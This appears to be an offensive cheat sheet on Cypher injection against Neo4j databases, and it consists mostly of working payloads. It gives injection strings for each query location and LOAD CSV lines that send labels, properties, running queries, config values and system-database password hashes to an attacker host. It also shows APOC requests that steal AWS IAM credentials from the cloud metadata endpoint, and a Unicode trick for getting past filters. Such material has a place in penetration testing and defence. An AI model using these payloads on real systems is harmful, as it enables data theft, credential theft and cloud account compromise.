Links

Cypher Injection (neo4j)

Common Cypher Injections

The MATCH and WHERE statements are common scenarios.
When we have found an injection, the way to exploit it depends on the location within the query. Below is a table of different injection locations and exploitation examples:
Injectable query
Injection
MATCH (o) WHERE o.Id='{input}'
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
MATCH (o) WHERE '{input}' = o.Id MATCH (o) WHERE {input} in [different, values]
'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input}
a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}`
a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'})
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input})
a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`)
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2)
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2)
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2)
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
Note the UNION statement:
  1. 1.
    The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute.
  2. 2.
    We add “RETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute.
So, what's with the “WITH” statement?
Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run.
Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.

HTTP Exfiltration

It's possible to use the following method to exfiltrate information to the attacker controlled domain:
LOAD CSV FROM 'https://attacker.com/'
For example
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
​
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
​

APOC

The first thing an attacker should check is whether APOC is installed. APOC (awesome procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.

Procedures to process data & send HTTP requests

  • apoc.convert.toJson — converts nodes, maps, and more to JSON
  • apoc.text.base64Encode — gets a string and encodes it as base64
It's possible to set headers and send other methods than GET. Examples:
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
​
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list

Procedures to eval queries

  • apoc.cypher.runFirstColumnMany — a function that returns the values of the first column as a list
  • apoc.cypher.runFirstColumnSingle — a function that returns the first value of the first column
  • apoc.cypher.run — a procedure that runs a query and returns the results as a map
  • apoc.cypher.runMany — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.

Extracting Information

Server Version

One way to get the server version is to use the procedure dbms.components()
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Get running query

The easiest one is to use the procedure dmbs.listQueries()
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
In Neo4j 5 dbms.listQueries was removed. Instead, we can use “SHOW TRANSACTIONS”. There are two major limitations: SHOW queries are not injectable, and unlike listQueries, we can only see the currently executed query in the transaction and not all of them.
If APOC core is installed, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use apoc.cypher.runMany to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

Get labels

Using the built-in method db.labels, it is possible to list all existing labels.
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0

Get properties of a key

The built-in function keys can be used to list the keys of the properties (This won't work if one of the fields is a list or a map.).
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
If APOC is available, there's a better way to do it using apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

Get functions and procedures

Using the built-in procedures dbms.functions() and dbms.procedures() it's possible to list all functions and procedures.
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
These procedures were removed in Neo4j 5. Instead, we can use SHOW PROCEDURES and SHOW FUNCTIONS. SHOW queries cannot be injected.
If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //

Get system database

The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes:
  • Databases
  • Roles
  • Users (including the hash of the password!)
Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the free edition of Neo4j, there's only an admin user and no other users, so it's not uncommon to find yourself running as an admin.
Use the procedure apoc.systemdb.graph() to retrieve the data.
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
Neo4j uses SimpleHash by Apache Shiro to generate the hash.
The result is stored as a comma-separated values string:
  • Hashing algorithm
  • Hash
  • Salt
  • Iterations
For example:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024

Get environment variables

Using APOC, it is possible to retrieve the environment variable by using the procedure apoc.config.map() or apoc.config.list().
These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value “apoc.*”, which allows all APOC procedures.
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Note: in Neo4j5 the procedures were moved to APOC extended.

AWS Cloud Metadata Endpoint

IMDSv1

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

IMDSv2

We need to specify headers and we need to use methods other than GET.
LOAD CSV can't do either of these things, but we can use apoc.load.csvParams to get the token and the role, and then apoc.load.jsonParams to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON.
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
​
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
​
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value

Contact AWS API directly

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
  • $data is formatted as %Y%m%dT%H%M%SZ
  • $token is the token we got from the metadata server
  • $signed_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html

WAF Bypass

Unicode injection

In Neo4j >= v4.2.0, it's often possible to inject Unicode using “\uXXXX”. For example, you can use this method if the server tries to remove characters such as: ‘, “, ` and so on.
This may not work if a letter follows the Unicode escape sequence. It's safe to add a space afterward or another Unicode notation.
For example, if the server removes single quotes, and the query looks like the following:
MATCH (a: {name: '$INPUT'}) RETURN a
It is possible to inject:
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //

References